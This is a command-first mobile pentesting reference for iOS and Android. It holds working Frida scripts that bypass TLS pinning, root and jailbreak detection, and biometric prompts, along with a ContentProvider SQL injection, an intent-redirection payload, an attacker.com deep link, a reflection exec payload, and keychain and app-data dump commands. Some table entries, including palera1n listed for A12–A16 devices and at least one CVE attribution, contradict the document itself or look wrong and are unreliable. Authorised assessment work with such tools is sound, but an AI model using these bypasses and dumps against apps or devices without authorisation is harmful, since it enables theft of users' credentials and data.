Mobile Pentesting
A working reference for iOS and Android application assessments. Every section is command-first — copy, paste, adapt. Tested against iOS 17 / Android 14 with the toolchains current as of early 2026.
Lab Setup
iOS — jailbroken physical device
Modern options depend on chip and iOS version:
| Device chip | iOS versions | Jailbreak |
|---|---|---|
| A8–A11 (iPhone 5s → X) | any | checkra1n / palera1n (tethered, bootrom exploit) |
| A12–A16 (iPhone XS → 14) | 15.0 – 16.6.1 | palera1n rootless (A11+ with legacy iOS) |
| A12–A16 | 15.0 – 16.5 | Dopamine (rootless, semi-untethered) |
| A17 / M-class | 17.x | Dopamine 2.x (checkm8 unavailable — depend on kernel exploits) |
Pragmatic recommendation: keep a cheap A10/A11 device (iPhone 7 / 8 / X) pinned to an old iOS for research; checkra1n/palera1n will always work on those because the bootrom bug (checkm8) is unpatchable.
palera1n (rootful) on iPhone X / iOS 16.6
# macOS host
brew install palera1n/tap/palera1n
# Put device in DFU (hold side + vol down, then release side, keep vol down 5s)
sudo palera1n -c # create fakefs
sudo palera1n -f # actual jailbreak boot
# When the device reboots into the loader, install Sileo from the on-device UI.
After boot:
# SSH over USB (iproxy forwards device:22 → localhost:2222)
brew install libimobiledevice usbmuxd
iproxy 2222 22 &
ssh root@localhost -p 2222 # default password: alpine — CHANGE IT.
passwd
Install the baseline toolkit from Sileo: Frida, Frida tools, openssh, darwintools, coreutils, adv-cmds, less, class-dump.
Android — emulator that can run as root
Default Play Store emulator images refuse adb root. Pick AOSP images instead (no Play Store, no GMS). From Android Studio: Tools → Device Manager → Create Virtual Device → System Image → Other Images → pick an AOSP build.
# CLI — create an x86_64 AOSP Pixel emulator
sdkmanager "system-images;android-34;default;x86_64"
avdmanager create avd -n pixel_root -k "system-images;android-34;default;x86_64" -d pixel_6
# Start with writable system (needed to push Frida server into /data/local/tmp at boot)
emulator -avd pixel_root -writable-system -no-snapshot
# In another shell
adb root
adb shell whoami # → root
adb remount # if you need to write /system
If the target app refuses to run on emulator (root/emulator detection), fall back to a physical device:
# Pixel 6/7/8 with stock Android 14 — unlock bootloader, flash Magisk patched boot.img
# GrapheneOS devices are cheap + unlockable + supported for much longer than stock.
fastboot flashing unlock
fastboot flash boot magisk_patched.img
Then use MagiskHide / Zygisk DenyList to hide root from the target app.
Static Analysis — Pulling the App Apart
iOS — extract and decrypt an IPA
App Store binaries are FairPlay-encrypted. Two workable approaches:
- frida-ios-dump — dumps a decrypted IPA from a running process on a jailbroken device.
- flexdecrypt / bagbak — alternative dumpers; use when
frida-ios-dumpcan't attach.
# Jailbroken device, with Frida server installed from Sileo and app installed
git clone https://github.com/AloneMonkey/frida-ios-dump
cd frida-ios-dump
pip3 install -r requirements.txt
# List installed apps to find the bundle ID
./dump.py -l
# frida.core.Device.enumerate_applications → bundle IDs
# Dump
./dump.py com.example.target -o target.ipa
unzip target.ipa -d target/
cd target/Payload/Target.app
otool -l Target | grep -A4 LC_ENCRYPTION_INFO # cryptid should be 0 now
iOS — Mach-O and class dumping
# Architectures present
lipo -info Target
# Architectures in the fat file: Target are: arm64 arm64e
# Load commands / libraries
otool -L Target
otool -l Target | less
# Objective-C class dump (requires decrypted binary)
class-dump -H Target -o headers/
ls headers/ | head
# MyViewController.h APIClient.h Crypto.h ...
# Swift — class-dump-swift is unmaintained. Use Hopper, Ghidra, IDA, or:
nm -U Target | grep -i swift | head
Android — decompile an APK / AAB
# Get the APK off the device (even if the app was installed as a split AAB)
adb shell pm path com.example.target
# package:/data/app/~~random==/com.example.target-1/base.apk
# package:/data/app/~~random==/com.example.target-1/split_config.arm64_v8a.apk
adb pull /data/app/~~random==/com.example.target-1/base.apk
# Decompile to smali + resources + AndroidManifest.xml
apktool d base.apk -o base_out
# Decompile to Java
d2j-dex2jar base.apk -o base.jar
jadx-gui base.apk # my default — batteries included
# Native libraries
ls base_out/lib/arm64-v8a/
# libnative.so libsqlcipher.so libflutter.so ...
AndroidManifest quick audit
# Read the decoded manifest
xmllint --format base_out/AndroidManifest.xml | less
Things to grep for — they are almost always the first foothold:
| Grep | Why it matters |
|---|---|
android:exported="true" | Component reachable from other apps — Intent attacks |
android:debuggable="true" | run-as works, attach a debugger, dump memory |
android:allowBackup="true" | adb backup leaks app data |
android:networkSecurityConfig | Likely references network_security_config.xml — inspect for cleartext / pinning |
<intent-filter> on an Activity | Deep links — URL schemes for direct attack |
android:grantUriPermissions="true" | ContentProvider hand-off, common IDOR |
<provider> / <service> / <receiver> with permission="" | Missing permission → cross-app attack |
Dynamic Analysis — Frida
Frida is the centre of every modern mobile assessment. Install it once and reuse the hooks.
Install
pip3 install frida-tools # host
# iOS: Frida package from Sileo (jailbreak)
# Android: push frida-server to /data/local/tmp
# Android
wget https://github.com/frida/frida/releases/latest/download/frida-server-16.4.8-android-x86_64.xz
xz -d frida-server-16.4.8-android-x86_64.xz
adb push frida-server-16.4.8-android-x86_64 /data/local/tmp/frida-server
adb shell "chmod 755 /data/local/tmp/frida-server && /data/local/tmp/frida-server &"
# Verify
frida-ps -U | head
Attach and enumerate
# Spawn and early-attach (better for startup hooks)
frida -U -f com.example.target -l hook.js --no-pause
# Attach to a running PID
frida -U -n Target -l hook.js
# List loaded modules
frida -U -n Target -e 'Process.enumerateModules().forEach(m => console.log(m.name, m.base))'
Canonical Android hook — log every method of a class
// hook.js
Java.perform(function () {
const cls = Java.use('com.example.target.crypto.Cipher');
cls.class.getDeclaredMethods().forEach(function (m) {
const name = m.getName();
cls[name].overloads.forEach(function (ovl) {
ovl.implementation = function () {
const args = Array.prototype.slice.call(arguments);
console.log('[*] ' + name + '(' + args.join(', ') + ')');
const ret = ovl.apply(this, arguments);
console.log(' → ' + ret);
return ret;
};
});
});
});
iOS — hook Objective-C
// hook.js
if (ObjC.available) {
const cls = ObjC.classes.APIClient;
Interceptor.attach(cls['- sendRequest:'].implementation, {
onEnter: function (args) {
// args[0] = self, args[1] = selector, args[2] = first arg
const req = new ObjC.Object(args[2]);
console.log('[+] sendRequest: ' + req.URL().absoluteString());
},
onLeave: function (ret) {
const obj = new ObjC.Object(ret);
console.log(' → ' + obj.toString());
}
});
}
Swift — hook a function by symbol
Swift name-mangles. Use nm to find the symbol, then:
const addr = Module.findExportByName('Target', '$s6Target10encryptDataySS_tF');
Interceptor.attach(addr, {
onEnter: function (args) { console.log('encryptData called'); },
onLeave: function (ret) { console.log('→', ret); }
});
Objection — Frida without Boilerplate
pip3 install objection
# Attach (spawn)
objection --gadget com.example.target explore
# Inside the REPL:
android hooking list classes # all loaded classes
android hooking search classes Cipher # filter
android hooking watch class com.example.Cipher # hook every method
android hooking watch class_method com.example.Cipher.encrypt --dump-args --dump-return --dump-backtrace
android sslpinning disable # try every known pinning bypass
android root disable # bypass common root detection
android heap search instances com.example.User # live object instances
android heap print fields 0x7f12ab34 # dump fields of an object
ios sslpinning disable
ios jailbreak disable
ios keychain dump
ios nsuserdefaults get
ios cookies get
memory list modules
memory search --string "api_key"
Objection's sslpinning disable covers OkHttp3, TrustKit, CertificatePinner, X509TrustManager, NSURLSession / AFNetworking / TrustKit / NSURLConnection on iOS. For Flutter apps and gRPC with BoringSSL, see the dedicated sections below — the generic bypass does not work.
SSL / TLS Pinning Bypass — The Full Menu
1. Stock Android — add a user CA
# Export Burp CA as DER, convert to PEM, hash it the way Android expects
openssl x509 -inform DER -in cacert.der -out burp.pem
openssl x509 -inform PEM -subject_hash_old -in burp.pem | head -1
# 9a5ba575 → filename on device
cp burp.pem 9a5ba575.0
# Push into system store (requires writable /system — AOSP emulator or Magisk)
adb root && adb remount
adb push 9a5ba575.0 /system/etc/security/cacerts/
adb shell chmod 644 /system/etc/security/cacerts/9a5ba575.0
adb reboot
With Android 14 the system store moved to /apex/com.android.conscrypt/cacerts/. Magisk's MagiskTrustUserCerts or Conscrypt Mainline Module module handles this automatically on rooted devices. On stock, use Frida hooks instead.
2. Android — OkHttp3 CertificatePinner bypass
Java.perform(function () {
const CertPinner = Java.use('okhttp3.CertificatePinner');
CertPinner.check.overload('java.lang.String', 'java.util.List').implementation = function (a, b) {
console.log('[+] CertificatePinner.check bypassed → ' + a);
return;
};
CertPinner.check.overload('java.lang.String', '[Ljava.security.cert.Certificate;').implementation = function () { return; };
});
3. Android — TrustManager bypass (generic)
Java.perform(function () {
const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
const SSLContext = Java.use('javax.net.ssl.SSLContext');
const TrustManager = Java.registerClass({
name: 'com.sensepost.test.TrustManager',
implements: [X509TrustManager],
methods: {
checkClientTrusted: function () {},
checkServerTrusted: function () {},
getAcceptedIssuers: function () { return []; }
}
});
const TrustManagers = [TrustManager.$new()];
const SSLContext_init = SSLContext.init.overload(
'[Ljavax.net.ssl.KeyManager;', '[Ljavax.net.ssl.TrustManager;', 'java.security.SecureRandom');
SSLContext_init.implementation = function (kms, tms, sr) {
console.log('[+] SSLContext.init — swapping TrustManager');
SSLContext_init.call(this, kms, TrustManagers, sr);
};
});
4. Flutter — libflutter.so pinning via BoringSSL
Flutter statically links BoringSSL into libflutter.so and bypasses the Java/Kotlin TLS stack entirely. Objection / universal OkHttp hooks do nothing. The hook targets ssl_verify_peer_cert directly.
// reFlutter or a direct pattern scan — offsets change per Flutter version
const flutter = Module.findBaseAddress('libflutter.so');
// Pattern for ssl_verify_peer_cert preamble on arm64 (Flutter 3.x)
Memory.scan(flutter, 0x500000, 'ff 03 02 d1 fc 6f 01 a9 fa 67 02 a9', {
onMatch: function (addr) {
console.log('[+] ssl_verify_peer_cert at ' + addr);
Interceptor.attach(addr, {
onLeave: function (ret) {
ret.replace(0x0); // SSL_VERIFY_NONE
}
});
return 'stop';
},
onComplete: function () {}
});
Use reFlutter to repackage the APK with a pre-patched libflutter.so when the pattern scan is unreliable:
pip3 install reflutter
reflutter base.apk
# Prompts for your Burp IP, rewrites the TLS trust routine, signs the APK.
5. iOS — TrustKit / NSURLSession hooks
Objection's ios sslpinning disable handles standard stacks. For gRPC or custom C code linking BoringSSL:
// Hook BoringSSL's SSL_set_custom_verify or SSL_CTX_set_verify
const mod = 'Target'; // or 'libboringssl.dylib' if dynamically linked
Interceptor.attach(Module.findExportByName(mod, 'SSL_set_verify'), {
onEnter: function (args) {
args[1] = ptr(0); // mode = SSL_VERIFY_NONE
}
});
6. Last resort — patch the binary
When hooks break under JIT or CFI, pull out a hex editor:
# Android: decompile, edit smali, rebuild + sign
apktool d base.apk -o src
# Find the TrustManager class, replace checkServerTrusted body with `return-void`
apktool b src -o patched.apk
zipalign -p 4 patched.apk aligned.apk
apksigner sign --ks mykeystore.jks aligned.apk
Proxy Setup
# Burp on 8080, listen on all interfaces
# Device → Wi-Fi → Proxy → Manual → host.docker.internal:8080
# Cert must be installed as described above, then:
curl -v -x http://127.0.0.1:8080 https://example.com --cacert ~/.mitmproxy/burp.pem
# For a device without proxy support, use mitmproxy transparent + iptables
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 8080
mitmproxy --mode transparent --showhost
gRPC / protobuf traffic is opaque in Burp without decoding. Use mitmproxy's grpc addon or Protobuf Editor Burp extension, supply the .proto files (or reverse them from the app), and you'll see readable field names.
Android — Deep Link and Intent Attacks
Deep link enumeration
# Pull all intent-filters from the manifest
grep -A3 'intent-filter' base_out/AndroidManifest.xml | grep -E 'scheme|host|pathPrefix'
Trigger an exported Activity via adb:
adb shell am start -a android.intent.action.VIEW \
-d "exampleapp://open?url=https://attacker.com" \
com.example.target
Turn a deep-link-triggered WebView into RCE-adjacent issues:
urlparameter loaded into a WebView withJavascriptInterface→ JS-to-Java pivot.- WebView with
setAllowFileAccess(true)→file://reads from private dirs. - Intent redirection (
Intent.parseUri()trust) → launch internal components you shouldn't reach.
Drozer — classic Intent attack surface mapping
# Install drozer agent on the device, start agent, connect from host
adb forward tcp:31415 tcp:31415
drozer console connect
dz> run app.package.list -f target
dz> run app.package.attacksurface com.example.target
dz> run app.activity.info -a com.example.target
dz> run app.activity.start --component com.example.target com.example.target.DebugActivity
dz> run app.provider.info -a com.example.target
dz> run app.provider.query content://com.example.target.provider/users/
dz> run scanner.provider.sqlinjection -a com.example.target
dz> run scanner.provider.traversal -a com.example.target
ContentProvider SQL injection
# If query goes through a selection string without parameterisation:
adb shell content query --uri content://com.example.target.provider/users \
--projection "* FROM sqlite_master WHERE 1=1--"
Intent redirection (CVE-2023-20963 class — Parcel mismatch)
Many Android apps take an Intent from an Extra, trust it, and start it with elevated permissions. Android's own WorkSource bug (CVE-2023-20963) showed the pattern. Test with:
adb shell am start -n com.example.target/.Launcher \
--es "next_intent" "intent:#Intent;component=com.example.target/.PrivateActivity;end"
If PrivateActivity is not exported but gets started — you have an Intent redirection.
iOS — URL Schemes and Universal Links
Enumerate URL schemes
# From an IPA
plutil -convert xml1 -o - Payload/Target.app/Info.plist | grep -A5 CFBundleURLSchemes
Trigger from a jailbroken device
# Over SSH
/usr/bin/uiopen "targetapp://do?what=openfile&path=/etc/hosts"
# Or from the host, via mobiledevice or ideviceinstaller scripts
Test cases that regularly hit:
pathparameter reachingWKWebView.loadFileURL→ local file disclosure.- URL loaded into a shared state used later by an authentication callback → pre-auth vuln.
openURL:from an iMessage preview — no tap required, handler runs in background.
Universal Links (apple-app-site-association)
curl -s https://example.com/.well-known/apple-app-site-association | jq
The paths array describes every URL the app claims. Anything reachable there should be attacker-controllable through a phishing link that looks legitimate because the domain is legitimate.
Storage and Keychain
iOS — Keychain dump
# Objection REPL on a jailbroken device
ios keychain dump
# Or from the CLI
frida -U -f com.example.target -l keychain-dump.js --no-pause
# see Frida CodeShare: "ios-keychain-dumper"
iOS — app sandbox inspection
# Find app container
ssh root@localhost -p 2222 "find /var/mobile/Containers -maxdepth 4 -iname '*example*'"
# Interesting files
# Documents/ — user data
# Library/Preferences/*.plist — NSUserDefaults
# Library/Caches/ — API response cache, often unencrypted
# Library/WebKit/ — WebView state incl. cookies
Android — app data dump
# Debuggable app → run-as
adb shell run-as com.example.target
cd /data/data/com.example.target
ls -R
# Non-debuggable, rooted device → root shell
adb shell su -c 'tar -cf /sdcard/target.tar /data/data/com.example.target'
adb pull /sdcard/target.tar
Grep for common sins:
strings -n 8 shared_prefs/*.xml | grep -iE 'token|key|secret|password'
grep -r 'Basic ' databases/
Android — EncryptedSharedPreferences / Keystore
Apps that use EncryptedSharedPreferences still decrypt on-device. Hook androidx.security.crypto.EncryptedSharedPreferences$Editor.putString to log plaintext writes, or intercept javax.crypto.Cipher.doFinal globally:
Java.perform(function () {
const Cipher = Java.use('javax.crypto.Cipher');
Cipher.doFinal.overload('[B').implementation = function (input) {
const out = this.doFinal(input);
console.log('[cipher] ' + this.getAlgorithm() + ' in=' + bytesToHex(input) + ' out=' + bytesToHex(out));
return out;
};
});
WebView Sins
Every mobile pentest should grep for these. One of them almost always hits.
Android
webView.getSettings().setJavaScriptEnabled(true);
webView.getSettings().setAllowFileAccess(true); // → file:// reads
webView.getSettings().setAllowFileAccessFromFileURLs(true); // → cross-origin from file://
webView.getSettings().setAllowUniversalAccessFromFileURLs(true); // → even worse
webView.addJavascriptInterface(new JSBridge(), "bridge"); // → JS to Java RCE
webView.getSettings().setMixedContentMode(MIXED_CONTENT_ALWAYS_ALLOW);
If addJavascriptInterface targets API < 17 or the exposed object has a getClass chain, you get RCE via reflection:
bridge.getClass().forName('java.lang.Runtime')
.getMethod('exec', java.lang.String)
.invoke(bridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id');
iOS — WKWebView
config.preferences.javaScriptEnabled = YES;
[webView loadHTMLString:untrustedHTML baseURL:nil]; // stored/reflected XSS into app context
[webView evaluateJavaScript:untrustedJS ...]; // direct JS sink
[webView.configuration.userContentController addScriptMessageHandler:... name:@"bridge"];
A WKScriptMessageHandler is the iOS analogue of addJavascriptInterface — same class of vulnerabilities.
Recent / Noteworthy CVEs (Mobile, 2024–2026)
Keep these in mind when you hit a target — they're the kind of thing that rewards reading release notes.
| CVE | Component | What it is |
|---|---|---|
| CVE-2024-53104 | Linux kernel UVC driver (Pixel series) | Out-of-bounds write, actively exploited, patched Feb 2025 |
| CVE-2024-43047 | Qualcomm DSP | Use-after-free, in-the-wild on Snapdragon devices |
| CVE-2024-32896 | Android Framework | Local privilege escalation on Pixel, used by forensic tooling |
| CVE-2024-23222 | Apple WebKit | Type confusion, first 0day of 2024, iOS 16/17 |
| CVE-2024-27834 | Apple Safari / WebKit | PAC bypass by Manfred Paul at Pwn2Own |
| CVE-2024-44308 / 44309 | Apple JavaScriptCore / WebKit | Exploited in the wild November 2024 |
| CVE-2025-24085 | Apple CoreMedia | Actively exploited privilege escalation |
| CVE-2025-55177 | Apple ImageIO | Use-after-free in image parsing, zero-click via iMessage |
| CVE-2024-4761 / 4947 | Chrome V8 | Type confusion, shipped into every Android WebView |
| CVE-2024-43093 | Android Framework (Google Play services) | Local priv-esc affecting every Android 12–14 |
Operational takeaways:
- WebView is still the most productive attack surface on Android. Every Chrome V8 RCE rolls downstream into WebView about a week later.
- iOS ImageIO + CoreMedia — if the app uses
UIImage/AVAssetto parse attacker-controlled media, you have a real pre-auth attack surface. - Qualcomm DSP / kernel bugs give you the sandbox escape after a WebView RCE — read Project Zero's writeups to understand the chain shape.
Anti-Reversing Bypasses
Android — root detection bypass (generic)
Java.perform(function () {
const strings_to_block = ['su', 'busybox', 'magisk', 'supersu', 'xposed'];
const File = Java.use('java.io.File');
File.exists.implementation = function () {
const path = this.getAbsolutePath();
for (const s of strings_to_block) {
if (path.toLowerCase().indexOf(s) !== -1) {
console.log('[root-bypass] File.exists(' + path + ') → false');
return false;
}
}
return this.exists();
};
const Runtime = Java.use('java.lang.Runtime');
Runtime.exec.overload('java.lang.String').implementation = function (cmd) {
if (cmd.indexOf('su') !== -1 || cmd.indexOf('which') !== -1) {
throw Java.use('java.io.IOException').$new('blocked by pentester');
}
return this.exec(cmd);
};
});
iOS — jailbreak detection bypass
// Hide common jailbreak files from fopen / stat / access
const paths_to_hide = ['/Applications/Cydia.app', '/usr/sbin/sshd', '/bin/bash', '/etc/apt', '/private/var/lib/apt/'];
['fopen', 'stat', 'access', 'lstat'].forEach(function (fn) {
const f = Module.findExportByName(null, fn);
if (!f) return;
Interceptor.attach(f, {
onEnter: function (args) {
const path = Memory.readUtf8String(args[0]);
if (paths_to_hide.some(p => path.indexOf(p) !== -1)) {
this.hide = true;
args[0] = Memory.allocUtf8String('/does/not/exist');
}
}
});
});
Local Auth / Biometric Prompt Bypass
iOS LAContext.evaluatePolicy: is often the only thing between a local attacker and the sensitive flow. If the callback is the only source of truth (no server-side check), hooking it owns the app.
// iOS — always pretend biometric succeeded
const LAContext = ObjC.classes.LAContext;
Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
onEnter: function (args) {
const block = new ObjC.Block(args[4]);
const original = block.implementation;
block.implementation = function (success, error) {
original(true, null);
};
}
});
Android BiometricPrompt.AuthenticationCallback.onAuthenticationSucceeded() — same idea, invoked with a null CryptoObject if the app isn't using keystore-bound auth. If it is keystore-bound (CryptoObject non-null), you can't just fake success — you have to recover or coerce the key.
Quick Command Reference
# Find the running PID of a package (Android)
adb shell pidof com.example.target
# Dump memory of a live process
frida -U -n Target -e 'Process.enumerateRanges("rw-").forEach(r => send(r))'
# Intercept every HTTP request made from a WKWebView
frida -U -f com.example.target -l wkwebview-log.js --no-pause
# Install an APK forcibly
adb install -r -t -d base.apk # r=reinstall, t=test, d=downgrade
# Extract an APK from Play for analysis without installing
apkeep -a com.example.target .
# Decrypt iOS KeyChain backup
hashcat -m 16700 keychain.hash wordlist.txt
# Inspect Android native libraries for JNI methods
nm -D base_out/lib/arm64-v8a/libnative.so | grep Java_
# Find iOS binary's PIE / stack canary / ARC state
otool -hv Target | head
Reporting Hygiene
- Always produce a minimal PoC per finding — a single
adb shell am startline, a three-line Frida script, a single-request curl. Vendors reproduce what you hand them; do not bury it in screenshots. - Attach a decrypted / decompiled snippet showing the vulnerable code path. That's what gets the bug taken seriously.
- Record the exact app version + build number (
CFBundleVersionon iOS,versionCodeon Android). Tracking version regressions is easier than tracking features. - Flag any finding that has a CVE dependency (kernel priv-esc, WebView RCE) as environmental so the fix path is clear.